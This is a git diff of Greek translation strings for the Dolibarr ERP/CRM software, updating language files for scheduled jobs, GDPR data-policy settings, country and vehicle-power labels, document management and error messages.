παράμετροι είναι: προς, από, θέμα, μήνυμα, όνομα αρχείου (Όνομα αρχείου που εστάλη), φίλτρο ('sql' μόνο για αντίγραφο ασφαλείας της βάσης δεδομένων) -WarningCronDelayed=Attention, for performance purpose, whatever is next date of execution of enabled jobs, your jobs may be delayed to a maximum of %s hours, before being run. -DATAPOLICYJob=Cleaner δεδομένων και ανώνυμος -JobXMustBeEnabled=Η προγραμματισμένη εργασία %s πρέπει να είναι ενεργοποιηθεί +UseMenuModuleToolsToAddCronJobs=Μεταβείτε στο μενού "Αρχική - Εργαλεία διαχειριστή - Προγραμματισμένες εργασίες" για να δείτε και να επεξεργαστείτε προγραμματισμένες εργασίες. +JobDisabled=Η εργασία απενεργοποιήθηκε +MakeLocalDatabaseDumpShort=Τοπικό αντίγραφο ασφαλείας βάσης δεδομένων +MakeLocalDatabaseDump=Δημιουργήστε ένα τοπικό αντίγραφο της βάσης δεδομένων. Οι παράμετροι είναι: συμπίεση ('gz' ή 'bz' ή 'none'), τύπος αντιγράφου ασφαλείας ('mysql', 'pgsql', 'auto'), 1, 'auto' ή όνομα αρχείου προς δημιουργία, αριθμός αρχείων αντιγράφων ασφαλείας προς διατήρηση +MakeSendLocalDatabaseDumpShort=Αποστολή τοπικού αντιγράφου ασφαλείας της βάσης δεδομένων +MakeSendLocalDatabaseDump=Αποστολή τοπικού αντιγράφου ασφαλείας της βάσης δεδομένων μέσω email. Οι παράμετροι είναι: προς, από, θέμα, μήνυμα, όνομα αρχείου (Όνομα αρχείου που εστάλη), φίλτρο ('sql' μόνο για αντίγραφο ασφαλείας της βάσης δεδομένων) +BackupIsTooLargeSend=Λυπούμαστε, το τελευταίο αρχείο αντιγράφου ασφαλείας είναι πολύ μεγάλο για να σταλεί μέσω email +CleanUnfinishedCronjobShort=Εκκαθάριση ημιτελούς cronjob +CleanUnfinishedCronjob=Εκκαθάριση cronjob που κόλλησε κατά την εκτέλεση όταν η διεργασία δεν εκτελείται πλέον +WarningCronDelayed=Προσοχή, για λόγους απόδοσης, όποια και αν είναι η επόμενη ημερομηνία εκτέλεσης των ενεργοποιημένων εργασιών, οι εργασίες σας ενδέχεται να καθυστερήσουν το πολύ %s ώρες, πριν εκτελεστούν. +DATAPOLICYJob=Καθαρισμός δεδομένων και ανωνυμοποιητής +JobXMustBeEnabled=Η προγραμματισμένη εργασία %s πρέπει να είναι ενεργοποιημένη +EmailIfError=Email για προειδοποίηση σφάλματος +ErrorInBatch=Σφάλμα κατά την εκτέλεση της εργασίας %s + # Cron Boxes -LastExecutedScheduledJob=Τελευταία προγραμματισμένη εργασία που εκτελέστηκε +LastExecutedScheduledJob=Τελευταία εκτελεσμένη προγραμματισμένη εργασία NextScheduledJobExecute=Επόμενη προγραμματισμένη εργασία προς εκτέλεση -NumberScheduledJobError=Αριθμός λανθασμένων προγραμματισμένων εργασιών +NumberScheduledJobError=Αριθμός προγραμματισμένων εργασιών σε κατάσταση λάθους +NumberScheduledJobNeverFinished=Αριθμός προγραμματισμένων εργασιών που δεν ολοκληρώθηκαν ποτέ diff --git a/htdocs/langs/el_GR/datapolicy.lang b/htdocs/langs/el_GR/datapolicy.lang new file mode 100644 index 00000000000..6dcd402dc13 --- /dev/null +++ b/htdocs/langs/el_GR/datapolicy.lang @@ -0,0 +1,92 @@ +# Copyright (C) 2018 Nicolas ZABOURI +# +# This program is free software: you can redistribute it and/or modify +# it under the terms of the GNU General Public License as published by +# the Free Software Foundation, either version 3 of the License, or +# (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program. If not, see . + +# Module label 'ModuledatapolicyName' +Module4100Name = Πολιτική Προστασίας Δεδομένων +# Module description 'ModuledatapolicyDesc' +Module4100Desc = Ενότητα διαχείρισης προστασίας δεδομένων (Συμμόρφωση με τον GDPR) + +# +# Administration page +# +datapolicySetup = Ρύθμιση Ενότητας Πολιτικής Προστασίας Δεδομένων +Deletion = Διαγραφή δεδομένων +datapolicySetupPage = Σύμφωνα και με τη νομοθεσία της χώρας μας (Παράδειγμα Άρθρο 5 του GDPR), τα προσωπικά δεδομένα πρέπει να διατηρούνται για περίοδο που δεν υπερβαίνει την απαραίτητη για τους σκοπούς για τους οποίους συλλέχθηκαν, εκτός από αρχειακούς σκοπούς.
      Η διαγραφή θα γίνει αυτόματα μετά από μια ορισμένη περίοδο χωρίς συμβάν (το χρονικό διάστημα που θα έχετε υποδείξει παρακάτω). +NB_MONTHS = %s μήνες +ONE_YEAR = 1 χρόνος +NB_YEARS = %s χρόνια +DATAPOLICY_TIERS_CLIENT = Πελάτης +DATAPOLICY_TIERS_PROSPECT = Προοπτική +DATAPOLICY_TIERS_PROSPECT_CLIENT = Προοπτική/Πελάτης +DATAPOLICY_TIERS_NIPROSPECT_NICLIENT = Ούτε προοπτική/Ούτε πελάτης +DATAPOLICY_TIERS_FOURNISSEUR = Προμηθευτής +DATAPOLICY_CONTACT_CLIENT = Πελάτης +DATAPOLICY_CONTACT_PROSPECT = Προοπτική +DATAPOLICY_CONTACT_PROSPECT_CLIENT = Προοπτική/Πελάτης +DATAPOLICY_CONTACT_NIPROSPECT_NICLIENT = Ούτε προοπτική/Ούτε πελάτης +DATAPOLICY_CONTACT_FOURNISSEUR = Προμηθευτής +DATAPOLICY_ADHERENT = Μέλος +DATAPOLICY_Tooltip_SETUP = Τύπος επαφής - Υποδείξτε τις επιλογές σας για κάθε τύπο. +DATAPOLICYMail = Ρύθμιση email +DATAPOLICYSUBJECTMAIL = Θέμα email +DATAPOLICYCONTENTMAIL = Το περιεχόμενο του email +DATAPOLICYSUBSITUTION = Μπορείτε να χρησιμοποιήσετε τις ακόλουθες μεταβλητές στο email σας (το LINKACCEPT επιτρέπει τη δημιουργία ενός συνδέσμου που καταγράφει τη συγκατάθεση του ατόμου, το LINKREFUSED καθιστά δυνατή την καταγραφή της άρνησης συγκατάθεσης του ατόμου): +DATAPOLICYACCEPT = Μήνυμα μετά από συγκατάθεση +DATAPOLICYREFUSE = Μήνυμα μετά από άρνηση συγκατάθεσης +SendAgreementText = Μπορείτε να στείλετε ένα μήνυμα ηλεκτρονικού ταχυδρομείου GDPR σε όλες τις σχετικές επαφές σας (που δεν έχουν λάβει ακόμη email και για τις οποίες δεν έχετε καταχωρίσει τίποτα σχετικά με τη συμφωνία GDPR τους). Για να το κάνετε αυτό, χρησιμοποιήστε το παρακάτω κουμπί. +SendAgreement = Αποστολή email +AllAgreementSend = Όλα τα email έχουν σταλεί +TXTLINKDATAPOLICYACCEPT = Κείμενο για τον σύνδεσμο "συγκατάθεση" +TXTLINKDATAPOLICYREFUSE = Κείμενο για τον σύνδεσμο "άρνηση συγκατάθεσης" + + +# +# Extrafields +# +DATAPOLICY_BLOCKCHECKBOX = GDPR : Επεξεργασία προσωπικών δεδομένων +DATAPOLICY_consentement = Ελήφθη συγκατάθεση για την επεξεργασία προσωπικών δεδομένων +DATAPOLICY_opposition_traitement = Δεν δίνει συγκατάθεση για την επεξεργασία των προσωπικών δεδομένων +DATAPOLICY_opposition_prospection = Δεν δίνει συγκατάθεση για την επεξεργασία των προσωπικών δεδομένων για χρήση ως προοπτική + +# +# Popup +# +DATAPOLICY_POPUP_ANONYME_TITLE = Ανωνυμοποίηση τρίτου μέρους +DATAPOLICY_POPUP_ANONYME_TEXTE = Δεν μπορείτε να διαγράψετε αυτήν την επαφή από το Dolibarr επειδή υπάρχουν σχετικά στοιχεία. Σύμφωνα με τον GDPR, είστε υποχρεωμένοι να ανωνυμοποιήσετε τα δεδομένα. Θα θέλατε να συνεχίσετε; + +# +# Button for portability +# +DATAPOLICY_PORTABILITE = Φορητότητα GDPR +DATAPOLICY_PORTABILITE_TITLE = Εξαγωγή προσωπικών δεδομένων +DATAPOLICY_PORTABILITE_CONFIRMATION = Είστε σίγουροι ότι θέλετε να εξαγάγετε τα προσωπικά δεδομένα αυτής της επαφής; + +# +# Notes added during an anonymization +# +ANONYMISER_AT = Ανωνυμοποιήθηκε η %s + +# V2 +DATAPOLICYReturn = Επικύρωση GDPR +DATAPOLICY_date = Ημερομηνία συγκατάθεσης/μη συγκατάθεσης GDPR +DATAPOLICY_send = Ημερομηνία αποστολής email συγκατάθεσης +DATAPOLICYReturn = Επικύρωση GDPR +DATAPOLICY_SEND = Αποστολή email GDPR +MailSent = Το E-mail έχει σταλεί + +# ERROR +ErrorSubjectIsRequired = Σφάλμα: Το θέμα του email είναι υποχρεωτικό. Συμπληρώστε το στη ρύθμιση της ενότητας +=Λόγω τεχνικού προβλήματος, δεν μπορέσαμε να καταχωρήσουμε την επιλογή σας. Ζητούμε συγγνώμη για αυτό. Επικοινωνήστε μαζί μας για να μας στείλετε την επιλογή σας. +NUMBER_MONTH_BEFORE_DELETION = Αριθμός μήνα πριν από τη διαγραφή diff --git a/htdocs/langs/el_GR/dict.lang b/htdocs/langs/el_GR/dict.lang index 059e51b2f41..15f54b039c7 100644 --- a/htdocs/langs/el_GR/dict.lang +++ b/htdocs/langs/el_GR/dict.lang @@ -247,10 +247,13 @@ CountryJE=Τζέρσεϊ CountryME=Μαυροβούνιο CountryBL=Άγιος Βαρθολομαίος CountryMF=Άγιος Μαρτίνος +CountryXK=Κοσσυφοπέδιο ##### Civilities ##### CivilityMME=Κυρία +CivilityMMEShort=Κυρία CivilityMR=Κύριος +CivilityMRShort=Κύριος CivilityMLE=Δεσποινίς CivilityMTRE=Master CivilityDR=Δόκτορας @@ -332,28 +335,28 @@ PaperFormatCAP6=Format P6 Canada ExpAutoCat=Αυτοκίνητο ExpCycloCat=Μοτοποδήλατο ExpMotoCat=Μοτοσικλέτα -ExpAuto3CV=3 CV -ExpAuto4CV=4 CV -ExpAuto5CV=5 CV -ExpAuto6CV=6 CV -ExpAuto7CV=7 CV -ExpAuto8CV=8 CV -ExpAuto9CV=9 CV -ExpAuto10CV=10 CV -ExpAuto11CV=11 CV -ExpAuto12CV=12 CV -ExpAuto3PCV=3 CV και περισσότερο -ExpAuto4PCV=4 CV και περισσότερο -ExpAuto5PCV=5 CV και περισσότερο -ExpAuto6PCV=6 CV και περισσότερο -ExpAuto7PCV=7 CV και πολλά άλλα -ExpAuto8PCV=8 CV και περισσότερο -ExpAuto9PCV=9 CV και περισσότερο -ExpAuto10PCV=10 CV και περισσότερο -ExpAuto11PCV=11 CV και περισσότερο -ExpAuto12PCV=12 CV και περισσότερα -ExpAuto13PCV=13 CV και περισσότερο +ExpAuto3CV=3 Ίππων +ExpAuto4CV=4 Ίππων +ExpAuto5CV=5 Ίππων +ExpAuto6CV=6 Ίππων +ExpAuto7CV=7 Ίππων +ExpAuto8CV=8 Ίππων +ExpAuto9CV=9 Ίππων +ExpAuto10CV=10 Ίππων +ExpAuto11CV=11 Ίππων +ExpAuto12CV=12 Ίππων +ExpAuto3PCV=3 Ίππων και περισσότερο +ExpAuto4PCV=4 Ίππων και περισσότερο +ExpAuto5PCV=5 Ίππων και περισσότερο +ExpAuto6PCV=6 Ίππων και περισσότερο +ExpAuto7PCV=7 Ίππων και περισσότερο +ExpAuto8PCV=8 Ίππων και περισσότερο +ExpAuto9PCV=9 Ίππων και περισσότερο +ExpAuto10PCV=10 Ίππων και περισσότερο +ExpAuto11PCV=11 Ίππων και περισσότερο +ExpAuto12PCV=12 Ίππων και περισσότερο +ExpAuto13PCV=13 Ίππων και περισσότερο ExpCyclo=Χωρητικότητα μικρότερη στα 50cm3 -ExpMoto12CV=Μοτοσικλέτα 1 ή 2 CV -ExpMoto345CV=Μοτοσικλέτα 3, 4 ή 5 CV -ExpMoto5PCV=Μοτοσικλέτα 5 CV και περισσότερο +ExpMoto12CV=Μοτοσικλέτα 1 ή 2 Ίππων +ExpMoto345CV=Μοτοσικλέτα 3, 4 ή 5 Ίππων +ExpMoto5PCV=Μοτοσικλέτα 5 Ίππων και περισσότερο diff --git a/htdocs/langs/el_GR/ecm.lang b/htdocs/langs/el_GR/ecm.lang index acdcbae10ad..812492237fc 100644 --- a/htdocs/langs/el_GR/ecm.lang +++ b/htdocs/langs/el_GR/ecm.lang @@ -5,9 +5,10 @@ ECMSectionManual=Χειροκίνητος κατάλογος ECMSectionAuto=Αυτόματος κατάλογος ECMSectionsManual=Χειροκίνητο δέντρο ECMSectionsAuto=Αυτόματο δέντρο -ECMSections=Φάκελοι +ECMSectionsMedias=Medias tree +ECMSections=Κατάλογοι ECMRoot=ECM Root -ECMNewSection=Νέος Φάκελος +ECMNewSection=Νέος κατάλογος ECMAddSection=Προσθήκη καταλόγου ECMCreationDate=Ημερομηνία Δημιουργίας ECMNbOfFilesInDir=Αριθμός αρχείων στον κατάλογο @@ -16,34 +17,36 @@ ECMNbOfFilesInSubDir=Αριθμός αρχείων σε υπο-καταλόγο ECMCreationUser=Δημιουργός ECMArea=Περιοχή DMS / ECM ECMAreaDesc=Η περιοχή DMS / ECM (Συστήματα Διαχείρισης Εγγράφων / Ηλεκτρονική Διαχείριση Περιεχομένου) σας επιτρέπει να αποθηκεύετε, να μοιράζεστε και να αναζητάτε γρήγορα όλα τα είδη εγγράφων στο Dolibarr. -ECMAreaDesc2=* Automatic directories are filled automatically when adding documents from card of an element.
      * Manual directories can be used to save documents not linked to a particular element. -ECMSectionWasRemoved=Directory %s has been deleted. +ECMAreaDesc2a=* Οι μη αυτόματοι κατάλογοι μπορούν να χρησιμοποιηθούν για την αποθήκευση εγγράφων που δεν συνδέονται με ένα συγκεκριμένο στοιχείο. +ECMAreaDesc2b=* Οι αυτόματοι κατάλογοι συμπληρώνονται αυτόματα κατά την προσθήκη εγγράφων από τη σελίδα ενός στοιχείου. +ECMAreaDesc3=* Medias directories are files into the subdirectory /medias of documents directory, readable by everybody with no need to be logged and no need to have the file shared explicitely. It is used to store image files for the emailing or website module for example. +ECMSectionWasRemoved=Ο κατάλογος %s έχει διαγραφεί. ECMSectionWasCreated=Ο κατάλογος %s έχει δημιουργηθεί. -ECMSearchByKeywords=Search by keywords -ECMSearchByEntity=Search by object -ECMSectionOfDocuments=Directories of documents +ECMSearchByKeywords=Αναζήτηση με λέξεις-κλειδιά +ECMSearchByEntity=Αναζήτηση κατά αντικείμενο +ECMSectionOfDocuments=Κατάλογοι εγγράφων ECMTypeAuto=Αυτόματα ECMDocsBy=Έγγραφα που συνδέονται με το %s -ECMNoDirectoryYet=Δεν δημιουργήθηκε φάκελος -ShowECMSection=Εμφάνιση φακέλου -DeleteSection=Διαγραφή φακέλου -ConfirmDeleteSection=Can you confirm you want to delete the directory %s? -ECMDirectoryForFiles=Relative directory for files -CannotRemoveDirectoryContainsFilesOrDirs=Η κατάργηση δεν είναι δυνατή επειδή περιέχει ορισμένα αρχεία ή δευτερεύοντες καταλόγους +ECMNoDirectoryYet=Δεν δημιουργήθηκε κατάλογος +ShowECMSection=Εμφάνιση καταλόγου +DeleteSection=Κατάργηση καταλόγου +ConfirmDeleteSection=Μπορείτε να επιβεβαιώσετε ότι θέλετε να διαγράψετε τον κατάλογο %s; +ECMDirectoryForFiles=Σχετικός κατάλογος αρχείων +CannotRemoveDirectoryContainsFilesOrDirs=Η κατάργηση δεν είναι δυνατή επειδή περιέχει ορισμένα αρχεία ή υπο-καταλόγους CannotRemoveDirectoryContainsFiles=Η αφαίρεση δεν είναι δυνατή επειδή περιέχει ορισμένα αρχεία -ECMFileManager=Διαχειριστής Αρχείων +ECMFileManager=Διαχείριση αρχείων ECMSelectASection=Επιλέξτε έναν κατάλογο στο δέντρο ... -DirNotSynchronizedSyncFirst=Αυτός ο κατάλογος φαίνεται να δημιουργείται ή να τροποποιείται εκτός της μονάδας ECM. Πρέπει πρώτα να κάνετε κλικ στο κουμπί "Επανασύνδεση" για να συγχρονίσετε το δίσκο και τη βάση δεδομένων για να αποκτήσετε περιεχόμενο αυτού του καταλόγου. -ReSyncListOfDir=Επανασυνδέστε τη λίστα των καταλόγων -HashOfFileContent=Διαγραφή περιεχομένου αρχείου +DirNotSynchronizedSyncFirst=Αυτός ο κατάλογος φαίνεται να έχει δημιουργηθεί ή τροποποιηθεί εκτός της ενότητας ECM. Πρέπει πρώτα να κάνετε κλικ στο κουμπί "Επανασυγχρονισμός" για να συγχρονίσετε το δίσκο και τη βάση δεδομένων για να λάβετε το περιεχόμενο αυτού του καταλόγου. +ReSyncListOfDir=Επανασυγχρονισμός λίστας καταλόγων +HashOfFileContent=Hash περιεχομένου αρχείου NoDirectoriesFound=Δεν βρέθηκαν κατάλογοι -FileNotYetIndexedInDatabase=Αρχείο που δεν έχει ακόμη ευρετηριαστεί στη βάση δεδομένων (δοκιμάστε να το μεταφορτώσετε ξανά) -ExtraFieldsEcmFiles=Extrafields Αρχεία Ecm -ExtraFieldsEcmDirectories=Κατάλογοι Extrafields Ecm +FileNotYetIndexedInDatabase=Το αρχείο δεν έχει καταχωρηθεί ακόμη στη βάση δεδομένων (προσπαθήστε να το ανεβάσετε ξανά) +ExtraFieldsEcmFiles=Επιπλέον πεδία αρχείων Ecm +ExtraFieldsEcmDirectories=Επιπλέον πεδία Καταλόγων Ecm ECMSetup=Ρύθμιση ECM -GenerateImgWebp=Δημιουργήστε αντίγραφα όλων των εικόνων με μια άλλη έκδοση με μορφή .webp +GenerateImgWebp=Δημιουργήστε αντίγραφα όλων των εικόνων με μια άλλη έκδοση σε μορφή .webp ConfirmGenerateImgWebp=Εάν επιβεβαιώσετε, θα δημιουργήσετε μια εικόνα σε μορφή .webp για όλες τις εικόνες που βρίσκονται αυτήν τη στιγμή σε αυτόν τον φάκελο (οι υποφάκελοι δεν περιλαμβάνονται)... ConfirmImgWebpCreation=Επιβεβαιώστε την δημιουργία διπλοτύπων όλων των εικόνων -SucessConvertImgWebp=Δημιουργήθηκαν επιτυχώς διπλότυπα των εικονων +SucessConvertImgWebp=Δημιουργήθηκαν επιτυχώς διπλότυπα των εικόνων ECMDirName=Όνομα καταλόγου ECMParentDirectory=Γονικός κατάλογος diff --git a/htdocs/langs/el_GR/errors.lang b/htdocs/langs/el_GR/errors.lang index f9eb877e700..543000ad11c 100644 --- a/htdocs/langs/el_GR/errors.lang +++ b/htdocs/langs/el_GR/errors.lang @@ -4,7 +4,7 @@ NoErrorCommitIsDone=Κανένα σφάλμα # Errors ErrorButCommitIsDone=Βρέθηκαν σφάλματα, αλλά επικυρώνουμε παρόλα αυτά -ErrorBadEMail=Το email %s είναι λάθος +ErrorBadEMail=Η διεύθυνση email %s είναι λάθος ErrorBadMXDomain=Το email %s φαίνεται λανθασμένο (ο τομέας δεν έχει έγκυρη εγγραφή MX) ErrorBadUrl=Η διεύθυνση URL %s δεν ειναι σωστή ErrorBadValueForParamNotAString=Κακή τιμή για την παράμετρο σας. συνδέεται αόριστα όταν λείπει η μετάφραση. @@ -14,6 +14,7 @@ ErrorLoginAlreadyExists=Η σύνδεση %s υπάρχει ήδη. ErrorGroupAlreadyExists=Η ομάδα %s υπάρχει ήδη. ErrorEmailAlreadyExists=Το email %s υπάρχει ήδη. ErrorRecordNotFound=Η εγγραφή δεν βρέθηκε. +ErrorRecordNotFoundShort=Δεν βρέθηκε ErrorFailToCopyFile=Απέτυχε η αντιγραφή του αρχείου '%s' στο '%s'. ErrorFailToCopyDir=Απέτυχε η αντιγραφή του καταλόγου ' %s ' στο ' %s '. ErrorFailToRenameFile=Απέτυχε η μετονομασία του αρχείου ' %s ' σε ' %s '. @@ -48,6 +49,7 @@ ErrorBadImageFormat=Το αρχείο εικόνας δεν έχει μια υπ ErrorBadDateFormat=Η τιμή «%s« δεν έχει σωστή μορφή ημερομηνίας ErrorWrongDate=Η ημερομηνία δεν είναι σωστή! ErrorFailedToWriteInDir=Απέτυχε η εγγραφή στον κατάλογο %s +ErrorFailedToBuildArchive=Αποτυχία δημιουργίας αρχείου αρχειοθέτησης %s ErrorFoundBadEmailInFile=Βρέθηκε λανθασμένη σύνταξη email για %s γραμμές στο αρχείο (παράδειγμα γραμμής %s με email=%s) ErrorUserCannotBeDelete=Ο χρήστης δεν μπορεί να διαγραφεί. Ίσως σχετίζεται με οντότητες Dolibarr. ErrorFieldsRequired=Ορισμένα υποχρεωτικά πεδία έχουν μείνει κενά. @@ -76,7 +78,7 @@ ErrorNoValueForCheckBoxType=Παρακαλώ συμπληρώστε την τι ErrorNoValueForRadioType=Παρακαλώ συμπληρώστε την τιμή για τη λίστα τύπου radio ErrorBadFormatValueList=Η τιμή της λίστας δεν μπορεί να έχει περισσότερα από ένα κόμμα: %s , αλλά χρειάζεται τουλάχιστον ένα: κλειδί, τιμή ErrorFieldCanNotContainSpecialCharacters=Το πεδίο %s δεν πρέπει να περιέχει ειδικούς χαρακτήρες. -ErrorFieldCanNotContainSpecialNorUpperCharacters=Το πεδίο %s δεν πρέπει να περιέχει ειδικούς χαρακτήρες, ούτε κεφαλαία και δεν μπορεί να περιέχει μόνο αριθμούς. +ErrorFieldCanNotContainSpecialNorUpperCharacters=Το πεδίο %s δεν πρέπει να περιέχει ειδικούς χαρακτήρες, ούτε κεφαλαίους χαρακτήρες και πρέπει να ξεκινά με αλφαβητικό χαρακτήρα (a-z) ErrorFieldMustHaveXChar=Το πεδίο %s πρέπει να έχει τουλάχιστον %s χαρακτήρες. ErrorNoAccountancyModuleLoaded=Δεν έχει ενεργοποιηθεί η ενότητα λογιστικής ErrorExportDuplicateProfil=Αυτό το όνομα προφίλ υπάρχει ήδη για αυτό το σύνολο των εξαγωγών. @@ -95,9 +97,9 @@ ErrorWrongValueForField=Το πεδίο %s : ' %s ' δεν τ ErrorHtmlInjectionForField=Πεδίο %s : Η τιμή ' %s' περιέχει μη επιτρεπτά κακόβουλα δεδομένα ErrorFieldValueNotIn=Πεδίο %s : ' %s ' δεν ειναι η τιμή που βρέθηκε στο πεδίο %s του %s ErrorFieldRefNotIn=Πεδίο %s : ' %s ' δεν ειναι %s υπάρχουσας αναφοράς +ErrorMultipleRecordFoundFromRef=Βρέθηκαν αρκετές εγγραφές κατά την αναζήτηση για την αναφορά %s . Δεν υπάρχει τρόπος αντιστοίχισης κάποιου ID. ErrorsOnXLines=%sσφάλματα βρέθηκαν ErrorFileIsInfectedWithAVirus=Το πρόγραμμα προστασίας από ιούς δεν μπόρεσε να επικυρώσει το αρχείο (το αρχείο ενδέχεται να έχει μολυνθεί από ιό) -ErrorSpecialCharNotAllowedForField=Δεν επιτρέπονται ειδικοί χαρακτήρες για το πεδίο "%s" ErrorNumRefModel=Υπάρχει μια αναφορά στη βάση δεδομένων (%s) και δεν είναι συμβατή με αυτόν τον κανόνα αρίθμησης. Καταργήστε την εγγραφή ή την μετονομάστε την αναφορά για να ενεργοποιήσετε αυτήν την ενότητα. ErrorQtyTooLowForThisSupplier=Πολύ χαμηλή ποσότητα για αυτόν τον προμηθευτή ή δεν έχει καθοριστεί τιμή σε αυτό το προϊόν για αυτόν τον προμηθευτή ErrorOrdersNotCreatedQtyTooLow=Ορισμένες παραγγελίες δεν έχουν δημιουργηθεί λόγω υπερβολικά μικρών ποσοτήτων @@ -242,6 +244,7 @@ ErrorObjectMustHaveStatusActiveToBeDisabled=Τα αντικείμενα πρέπ ErrorObjectMustHaveStatusDraftOrDisabledToBeActivated=Τα αντικείμενα πρέπει να έχουν την κατάσταση «Προσχέδιο» ή «Απενεργοποιημένο» για να ενεργοποιηθούν ErrorNoFieldWithAttributeShowoncombobox=Κανένα πεδίο δεν έχει την ιδιότητα "showoncombobox" στον ορισμό του αντικειμένου "%s". Δεν υπάρχει τρόπος να εμφανίσουμε τη λίστα σύνθετου πλαισίου. ErrorFieldRequiredForProduct=Το πεδίο '%s' απαιτείται για το προϊόν %s +AlreadyTooMuchPostOnThisIPAdress=Έχετε ήδη δημοσιεύσει πάρα πολλά σε αυτήν τη διεύθυνση IP. ProblemIsInSetupOfTerminal=Το πρόβλημα είναι στη ρύθμιση του τερματικού %s. ErrorAddAtLeastOneLineFirst=Προσθέστε τουλάχιστον μία γραμμή πρώτα ErrorRecordAlreadyInAccountingDeletionNotPossible=Σφάλμα, η εγγραφή έχει ήδη μεταφερθεί στη λογιστική, η διαγραφή δεν είναι δυνατή. @@ -259,6 +262,7 @@ ErrorParameterMustBeEnabledToAllwoThisFeature=Σφάλμα, η παράμετρ ErrorLoginDateValidity=Σφάλμα, αυτή η σύνδεση είναι εκτός του εύρους ημερομηνιών εγκυρότητας ErrorValueLength=Το μήκος του πεδίου ' %s ' πρέπει να είναι μεγαλύτερο από το ' %s ' ErrorReservedKeyword=Η λέξη " %s " είναι μια δεσμευμένη λέξη-κλειδί +ErrorFilenameReserved=Το όνομα αρχείου %s δεν μπορεί να χρησιμοποιηθεί καθώς είναι μια δεσμευμένη και προστατευμένη εντολή. ErrorNotAvailableWithThisDistribution=Δεν διατίθεται με αυτήν τη διανομή ErrorPublicInterfaceNotEnabled=Η δημόσια διεπαφή δεν ενεργοποιήθηκε ErrorLanguageRequiredIfPageIsTranslationOfAnother=Η γλώσσα της νέας σελίδας πρέπει να οριστεί εάν είναι μετάφραση άλλης σελίδας @@ -277,8 +281,8 @@ ErrorWrongFileName=Το όνομα του αρχείου δεν μπορεί ν ErrorNotInDictionaryPaymentConditions=Δεν υπάρχει στο Λεξικό Όρων Πληρωμής, παρακαλώ τροποποιήστε. ErrorIsNotADraft=Το %s δεν είναι πρόχειρο ErrorExecIdFailed=Δεν είναι δυνατή η εκτέλεση της εντολής "id" -ErrorBadCharIntoLoginName=Μη εξουσιοδοτημένος χαρακτήρας στο όνομα σύνδεσης -ErrorRequestTooLarge=Σφάλμα, το αίτημα είναι πολύ μεγάλο +ErrorBadCharIntoLoginName=Μη έγκυρος χαρακτήρας στο πεδίο %s +ErrorRequestTooLarge=Σφάλμα, το αίτημα είναι πολύ μεγάλο ή η περίοδος λειτουργίας έληξε ErrorNotApproverForHoliday=Δεν είστε ο υπεύθυνος έγκρισης για την άδεια %s ErrorAttributeIsUsedIntoProduct=Αυτό το χαρακτηριστικό χρησιμοποιείται σε μία ή περισσότερες παραλλαγές προϊόντων ErrorAttributeValueIsUsedIntoProduct=Αυτή η τιμή χαρακτηριστικού χρησιμοποιείται σε μία ή περισσότερες παραλλαγές προϊόντος @@ -291,6 +295,21 @@ ErrorAjaxRequestFailed=To αίτημα AJAX απέτυχε ErrorThirpdartyOrMemberidIsMandatory=Τρίτο μέρος ή Μέλος της εταιρικής σχέσης είναι υποχρεωτικό ErrorFailedToWriteInTempDirectory=Αποτυχία εγγραφής στον κατάλογο temp ErrorQuantityIsLimitedTo=Η ποσότητα περιορίζεται σε %s +ErrorFailedToLoadThirdParty=Αποτυχία εύρεσης/φόρτωσης τρίτου μέρους από id=%s, email=%s, όνομα=%s +ErrorThisPaymentModeIsNotSepa=Αυτός ο τρόπος πληρωμής δεν είναι τύπου SEPA +ErrorStripeCustomerNotFoundCreateFirst=Αυτό το τρίτο μέρος δεν έχει οριστεί ως πελάτης Stripe (ή έχει οριστεί σε τιμή που έχει διαγραφεί από το Stripe). Πρώτα δημιουργήστε το (ή επισυνάψτε το ξανά). +ErrorCharPlusNotSupportedByImapForSearch=Η αναζήτηση IMAP δεν μπορεί να πραγματοποιηθεί σε αποστολέα ή παραλήπτη για μια συμβολοσειρά που περιέχει τον χαρακτήρα + +ErrorTableNotFound=Ο πίνακας %s δεν βρέθηκε +ErrorValueForTooLow=Η τιμή για %s είναι πολύ χαμηλή +ErrorValueCantBeNull=Η τιμή για %s δεν μπορεί να είναι μηδενική +ErrorDateOfMovementLowerThanDateOfFileTransmission=Η ημερομηνία της τραπεζικής συναλλαγής δεν μπορεί να είναι παλαιότερη από την ημερομηνία αποστολής του αρχείου +ErrorTooMuchFileInForm=Πάρα πολλά αρχεία στην φόρμα, ο μέγιστος αριθμός είναι %s αρχεία +ErrorSessionInvalidatedAfterPasswordChange=Η συνεδρία ακυρώθηκε μετά από αλλαγή κωδικού πρόσβασης, κατάστασης ή ημερομηνιών εγκυρότητας. Παρακαλώ συνδεθείτε ξανά. +ErrorExistingPermission = Η άδεια %s για το αντικείμενο %s υπάρχει ήδη +ErrorFieldExist=Η τιμή για %s υπάρχει ήδη +ErrorEqualModule=Μη έγκυρη ενότητα στο %s +ErrorFieldValue=Η τιμή για %s είναι λανθασμένη +ErrorCoherenceMenu= %s απαιτείται όταν το %s είναι 'αριστερά' # Warnings WarningParamUploadMaxFileSizeHigherThanPostMaxSize=Η παράμετρος PHP upload_max_filesize (%s) είναι υψηλότερη από την παράμετρο PHP post_max_size (%s). Αυτή δεν είναι μια συνεπής ρύθμιση. @@ -304,7 +323,7 @@ WarningConfFileMustBeReadOnly=Προειδοποίηση, το αρχείο ρυ WarningsOnXLines=Προειδοποιήσεις στις %s εγγραφές κώδικα WarningNoDocumentModelActivated=Δεν έχει ενεργοποιηθεί κανένα μοντέλο για την παραγωγή εγγράφων. Ένα πρότυπο θα επιλεγεί από προεπιλογή μέχρι να ελέγξετε τη ρύθμιση της ενότητας σας. WarningLockFileDoesNotExists=Προειδοποίηση, αφού ολοκληρωθεί η εγκατάσταση, πρέπει να απενεργοποιήσετε τα εργαλεία εγκατάστασης / μετεγκατάστασης προσθέτοντας ένα αρχείο install.lock στον κατάλογο %s . Η παράλειψη της δημιουργίας αυτού του αρχείου αποτελεί σοβαρό κίνδυνο για την ασφάλεια. -WarningUntilDirRemoved=Όλες οι προειδοποιήσεις ασφαλείας (ορατές μόνο από τους διαχειριστές) θα παραμείνουν ενεργές για όσο διάστημα υπάρχει η ευπάθεια (ή ότι η σταθερή MAIN_REMOVE_INSTALL_WARNING προστίθεται στο Ρυθμίσεις->Άλλες Ρυθμίσεις). 